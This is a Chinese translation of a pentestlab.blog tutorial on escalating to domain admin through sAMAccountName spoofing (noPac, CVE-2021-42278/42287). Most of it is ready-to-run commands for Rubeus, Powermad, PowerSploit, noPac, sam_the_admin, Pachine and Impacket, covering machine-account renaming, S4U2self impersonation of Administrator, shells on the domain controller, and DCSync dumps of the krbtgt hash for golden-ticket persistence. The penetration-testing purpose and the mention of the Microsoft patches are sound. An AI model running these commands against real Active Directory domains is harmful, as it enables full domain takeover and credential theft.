與標準用戶帳戶相比,機器帳戶會在名稱末尾附加$符號。在默認情況下,Microsoft操作系統缺乏安全控制和加固措施,難以防禦某些攻擊。此外,多年來的事實證明,Windows生態系統中許多事情的工作方式可能會通過利用現有的功能和工作流來加以濫用。
舉例來說,active directory中的每個帳戶都會在「SamAccountName」屬性中提供名稱。但是,它卻沒有提供防止被濫用的措施,因此任何擁有機器帳戶的用戶都可以修改該值。這個值被修改後,可以用來冒充域上的其他帳戶,如域控制器的機器帳戶。Charlie Clark是第一個詳細介紹如何將這些漏洞武器化的人。
在申請服務票證之前,需要先簽發票證授予票證(TGT)。當為密鑰分發中心(KDC)中不存在的帳戶請求服務票證時,密鑰分發中心將跟蹤搜索,並在該帳戶上附加$符號。結合這種行為和對「SamAccountName」屬性缺乏控制的事實,滲透測試人員可以利用這一點進行域升級。具體地說,可以請求域控制器帳戶的票證授予票證,並且在任何服務票證請求之前恢復「SamAccountName」屬性值將強制KDC搜索域控制器的機器帳戶,並代表域管理員發出提權的服務票證。
要想利用該漏洞進行域升級,用戶必須具有機器帳戶的權限,只有這樣才能修改「SamAccountName」和「ServicePrincipalName」屬性。一般來說,可以創建機器帳戶的用戶,都擁有修改這些屬性所需的特權。在默認情況下,域用戶的機器帳戶配額設置為10,這表示允許用戶在域上創建機器帳戶數量。或者,攻擊者也可以從作為機器帳戶所有者的帳戶的角度發動進攻。利用「SamAccountName」執行域升級包括以下步驟:
創建一個機器賬戶
清除「servicePrincipalName」屬性
修改機器賬戶的「sAMAccountName」屬性,以指向沒有$符號的域控制器名稱
為域控制器賬戶申請一個TGT
將「sAMAccountName」屬性恢復為原始值或任何其他值
使用S4U2self方法請求一個服務票據
冒充域管理員賬戶接收服務票據
下圖演示了「sAMAccountName」冒充技術的具體步驟。
sAMAccountName欺騙

微軟已經發布了補丁,以防止攻擊者成功利用該漏洞。然而,在很多情況下,補丁並沒有及時應用,這就創造了一個時間窗口,使得這種技術可以在滲透測試中加以利用。該技術的先決條件如下所示:
1、沒有安裝KB5008380和KB5008602安全補丁的域控制器
2、有效的域用戶帳戶
3、機器帳戶配額大於0
由於這個過程需要訪問內部網絡,因此,假定攻擊者已經獲得了低權限的帳戶。如上所述,機器帳戶配額默認為10,因此唯一的要求是識別系統是否應用了補丁。這並非難事,可以通過請求沒有域用戶帳戶的PAC的票證授予票證並觀察base64票證大小(與使用PAC發出的票證相比要更小)來實現。Rubeus可以與/nopac開關一起使用,以請求已知憑據的域帳戶的TGT。
Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap
通過Rubeus檢測sAMAccountName欺騙漏洞
從票據大小來看,可以認為域控制器是易受攻擊的,因為票證沒有隨PAC一起發出。
沒有PAC時Rubeus票據的大小
另外,C#工具noPac可用於檢索網絡上所有可用域控制器的TGT票證。該工具是基於Rubeus的,因為它使用庫「Rubeus.lib.Interop.LUID」來獲取票證。票證的大小可以確定KDC是否發出了沒有PAC的票證。
noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234
noPac掃描器
如果通過PowerShell控制台進行操作的話,可以藉助於Shitsecure開發的一個PowerShell腳本「Invoke-noPac」——它可以將.NET程序集noPac嵌入base64中。由於該工具實際上就是noPac,所以可以使用同樣的參數來檢索票證。
Import-Module .\Invoke-noPAC.ps1
Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"
掃描PowerShell

實際上,現在已經有各種各樣的工具和腳本,可以幫助我們從加入域和沒有加入域的系統中自動完成上述任務。但是,在深入研究自動化之前,了解如何使用現有工具組手動完成漏洞利用是非常重要的。通過活動目錄創建機器帳戶對於滲透測試人員來說並不陌生,因為在基於資源的受限委託期間也可以使用它。Kevin Robertson開發了一個名為Powermad的PowerShell模塊,該模塊提供了在域上創建機器帳戶的功能。
New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"
創建機器賬戶
使用PowerSploit的「Set-DomainObject」從已創建的機器帳戶中刪除服務主體名稱值非常方便:
Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"
清除SPN
通過Powermad和「SetMachineAccountAttribute」函數,也可以修改"SamAccountName"屬性值以使其指向域控制器主機名:
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"
重命名sAMAccountName
查看活動目錄中的屬性,可以看到新機器帳戶的值現在指向「dc」,因此這個帳戶能夠冒充域控制器。
sAMAccountName欺騙
我們可以通過查詢域控制器來驗證屬性「sAMAccountName」是否已被修改。此外,PowerSploit中的「GetDomainComputer」函數可以用來枚舉域上機器帳戶的屬性。
Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname
檢索sAMAccountName
當涉及到Kerberos的操作時,Rubeus是一個標準工具。由於sam賬戶的名稱已經修改,所以,它現在可以從標準用戶的上下文中為dc賬戶申請票證授予票證。
.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap
檢索TGT
下面,我們需要把sam帳戶名屬性恢復到其原始值或任何其他值,否則無法發出服務票證。
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname
恢復sAMAccountName
由於TGT已經存儲在內存中,所以,現在可以使用kerberos擴展"s4u2self"以域管理員的身份來請求服務票證。由於原始票證屬於dc用戶,而sam帳戶名已重命名,即該用戶已經不存在,所以,Kerberos將查找dc$,這是一個有效的機器帳戶,並為請求的服務發出票證。
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]
請求服務票證
我們可以在現有會話中執行Mimikatz,以便通過DCSync技術轉儲「krbtgt」帳戶的哈希值,從而創建黃金票證。
lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt
DCSync

基於sAMAccountName欺騙的滲透測試,也可以使用由Cube0x0開發的C#工具noPac直接從內存中自動完成。為此,我們可以執行下面的命令,創建一個具有指定密碼的機器帳戶,並將獲得「CIFS」服務的服務票證,該服務票證將被傳遞到內存中。
noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt
noPac
以下命令可用於驗證域升級的情況,因為標準用戶可以枚舉域控制器上C$文件夾的內容。
dir \\dc.purple.lab\c$
驗證域升級
類似地,如果初始implant是基於PowerShell的,則可以在Invoke-noPac腳本中使用相同的命令行參數。正如上面所說的那樣,它實際上是noPac C#工具的包裝器。
Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"
noPac PowerShell
訪問域控制器的C$文件夾可以驗證緩存到內存中的服務票證是否已經升級。
dir \\dc.purple.lab\c$
驗證服務票證是否已經升級

該技術的相同原理,也可以應用到未連接到域的系統上。Hossam Hamed發布了一個名為「sam the admin」的python腳本,它模擬了這種攻擊。最初,該腳本將嘗試列舉「ms-DS-MachineAccountQuota」屬性,以確定是否可以在域中添加新的機器。然後,將用隨機密碼創建一個機器賬戶。新機器賬戶的 「sAMAccountName」屬性將被修改為包含域控制器機器賬戶的值。然後,請求一個升級的票證並保存到緩存中。最後,「sAMAccountName」屬性的原始值將被恢復,並使用Impacket套件中的「smbexec」建立到域控制器的會話,並使用緩存的票證。
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell
sam the admin shell
該腳本包含一個標誌,可用於在後台利用「secretsdump」來轉儲域哈希值。
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump
sam the admin dump
這些哈希值可用於脫機破解,以便識別正在使用的弱密碼,並確定客戶端的密碼策略是否足夠強、是否符合行業標準或是否需要進一步評估。此外,由於「krbtgt」帳戶的哈希值是可見的,可以為域持久化創建一個黃金票證。
轉儲域哈希值
Oliver Lyak發布了一個類似的python腳本,它既可以用於掃描域控制器以識別易受攻擊的主機,又可用於檢索授予服務票證的票證。
python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'
Pachine掃描器
對易受攻擊的域控制器執行以下命令,就可以創建一個具有隨機密碼的機器帳戶,以獲取票證授予票證。然後,重命名機器帳戶名稱,並使用S4U2self檢索服務票證,並將其保存在本地,以供屬於「域管理員」組的管理員用戶使用。
python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'
利用Pachine獲取票證
可以使用「export krb5ccname」和存儲票證的路徑將票證導入Kerberos緩存。由於票證現在是從當前控制台導入的,因此,Impacket「psexec」可以與Kerberos身份驗證一起使用,以便訪問域控制器。
export KRB5CCNAME=administrator@purple.lab.ccache
impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'
PsExec
通過一個基於python腳本「sam the admin」的工具來實現該技術也是可行的,這個腳本名為noPac。這個掃描器腳本將枚舉「ms-DS-MachineAccountQuota」屬性,並嘗試從所有可用的域控制器獲得票證授予票證。票證大小也將顯示在控制台中,以便快速識別易受攻擊的目標。在下面的示例中,與主機10.0.0.1相比,在沒有PAC的情況下接收的兩個票證相對較小,所以,主機10.0.0.1發出的是一個帶有PAC的票證。
python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
noPac掃描器
這個腳本可以根據活動的需要用各種參數執行。只需指定一個域用戶的憑證和域控制器的IP地址就可以發動攻擊,直到檢索到一個升級的票證為止。
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
sAMAccountName Spoofing – 通過noPac 檢索服務票證
sAMAccountName Spoofing – noPac
只要附加「-shell」和「-impersonate」標誌,便可以在域控制器上建立會話。
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator
冒充Administrator
類似地,「-dump」標誌可用於從域用戶的ntds.dit秘密中檢索哈希值。由於已經通過Kerberos票證實現了域管理員訪問權限,因此,可以獲取「krbtgt」帳戶的哈希值,以便建立域的持久性訪問。
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt
轉儲krbtgt的哈希值

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://exploit.ph/more-samaccountname-impersonation.html
https://github.com/WazeHell/sam-the-admin
https://github.com/cube0x0/noPac
參考及來源:https://pentestlab.blog/2022/01/10/domain-escalation-samaccountname-spoofing/